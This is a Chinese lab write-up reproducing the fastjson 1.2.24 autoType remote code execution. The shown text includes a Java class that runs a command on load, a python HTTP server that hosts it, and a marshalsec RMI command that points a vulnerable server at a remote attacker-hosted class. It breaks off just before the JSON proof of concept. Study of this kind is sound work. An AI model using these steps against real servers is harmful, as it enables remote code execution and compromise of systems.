网络安全知识小百科,就点上方蓝字关注我们
文章来源|MS08067 WEB攻防知识星球
本文作者:爱吃芝士的小葵(Ms08067实验室追洞小组成员)
漏洞复现分析 认准追洞小组
1、靶场搭建
2、漏洞复现
3、漏洞分析
4、漏洞修复
5、心得
靶场搭建
使用idea maven项目创建,在pom中导入fastjson的坐标。(因为本文复现1.2.24的rce,所以版本要小于1.2.24,本文采 取1.2.23版本坐标)。
导入之后在右边点击maven图标导入。
坑点
其中环境有一个非常细小的点,可以说是个大坑,我调试了很久,之前的报错如下:
1、rmi+jndi环境:java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接 2、ldap+jndi环境:java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource
后来才发现是java的环境没有配置对,虽然都是jdk1.8,但是复现的环境采用1.8.0_102,之前的环境1.8.0_221没有复现成 功。因为JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的 Codebase加载Reference工厂类。
漏洞复现
一、准备被远程下载的class文件
这边简单弹个计算器,也可以反弹shell
package com.v1rus;
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
命令行输入 javac Calc.java ,在当前文件夹下会生成Calc.class文件。
二、 http服务
可以简单的用python3在当前Calc.class文件的文件夹下起http服务
python -m http.server 8088
三、RMI服务
使用marshalsec起rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8
简而言之就是将class文件放到了http服务上,再用rmi服务绑定该class文件,并将rmi服务的端口应用在8888端口上。
漏洞分析
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
首先放上服务端使用的poc demo: